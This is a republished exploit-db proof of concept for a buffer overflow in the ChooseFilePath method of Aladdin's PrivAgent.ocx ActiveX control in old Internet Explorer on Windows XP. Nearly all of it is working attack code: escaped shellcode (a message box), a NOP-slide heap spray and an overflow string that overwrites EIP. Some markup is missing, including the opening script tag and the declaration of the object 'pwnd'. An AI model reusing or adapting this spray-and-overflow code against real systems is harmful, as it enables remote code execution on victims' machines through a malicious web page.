Aladdin Knowledge System Ltd – ‘PrivAgent.ocx’ ChooseFilePath Buffer Overflow - 体验盒子

作者： b33f

日期： 2012-10-28

类别：

remote

平台：

windows

来源：https://www.exploit-db.com/exploits/22301/

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<!---------------------------------------------------------------------------

| Exploit: Aladdin Knowledge System Ltd - PrivAgent.ocx ChooseFilePath BOF|

| Author: b33f - http://www.fuzzysecurity.com/|

| OS: Tested on XP PRO SP3|

| Browser: IE 4.01, IE 5.01, IE 6.00, IE 7.00 |

| POC - shinnai: http://www.exploit-db.com/exploits/22258/|

---------------------------------------------------------------------------->

<html>

<head>

</head>

<body>

//Messagebox (js_le)

var MessageBox = unescape(

'%ue9be%uac66%udb2b%ud9c2%u2474%u58f4%uc931%u3fb1%uc083%u3104%u1070%u7003%u0b10'+

'%u7593%u50c0%uf285%u9233%u2907%u2d89%u0459%u5a8a%ua6e8%u2ad8%u4c07%ucea8%u149c'+

'%u655d%ub8dc%u4fd6%uf619%udaf0%u51aa%uf500%u83b2%u7e62%u6020%u0b47%u54fc%u5f0c'+

'%udcd7%ub513%u57ac%uc20c%u47e9%u3f2d%ubcee%u3464%u37c5%ua477%ub717%uf849%ueba4'+

'%u382e%uf320%u77ef%ufac4%u6c28%uc723%u56ca%u4de4%u1dd2%u89ae%uca15%u5929%u4719'+

'%u073d%u563e%u33aa%ud33a%uac2d%ua7ca%u3009%ue4ac%u40e0%u3e07%ub48d%u7cde%ub8e6'+

'%u8eaf%u961b%u11c7%ue81c%ua4e7%u13a6%uc8a3%ufef0%ub3a0%udb1d%u5314%udc93%u5c66'+

'%u6725%uca91%u045a%u4b81%ue7cb%u65f3%u606f%u0a81%u020a%ub0e1%ue8f0%uae78%u13af'+

'%u2a2f%u2ed9%u8980%u0c71%u516c%u4d06%ufb4b%u0fe1%u046c%ua70e%udaca%u18d1%u7883'+

'%u6a21%u4d35%u049e%u89e5%u9c24%ub9f5%uc605%u19d9%ua62e%u174e%u77ea%u2fb8%u53be'+

'%ua63f%uadde%ueaed%u9f73%uf543%u2ea4%u59a4%u04ba%u412c');

//Spray spray spray

var NopSlide = unescape('%u9090%u9090');

var headersize = 20;

var slack = headersize + MessageBox.length;

while (NopSlide.length < slack) NopSlide += NopSlide;

var filler = NopSlide.substring(0,slack);

var chunk = NopSlide.substring(0,NopSlide.length - slack);

while (chunk.length + slack < 0x40000) chunk = chunk + chunk + filler;

var memory = new Array();

for (i = 0; i < 500; i++){ memory[i] = chunk + MessageBox }

//EIP => 0x06060606

junk='';

for( counter=0; counter<=268; counter++) junk+=unescape("%41");

pwnd.ChooseFilePath(junk + "\x06\x06\x06\x06");

</script>

</body>

</html>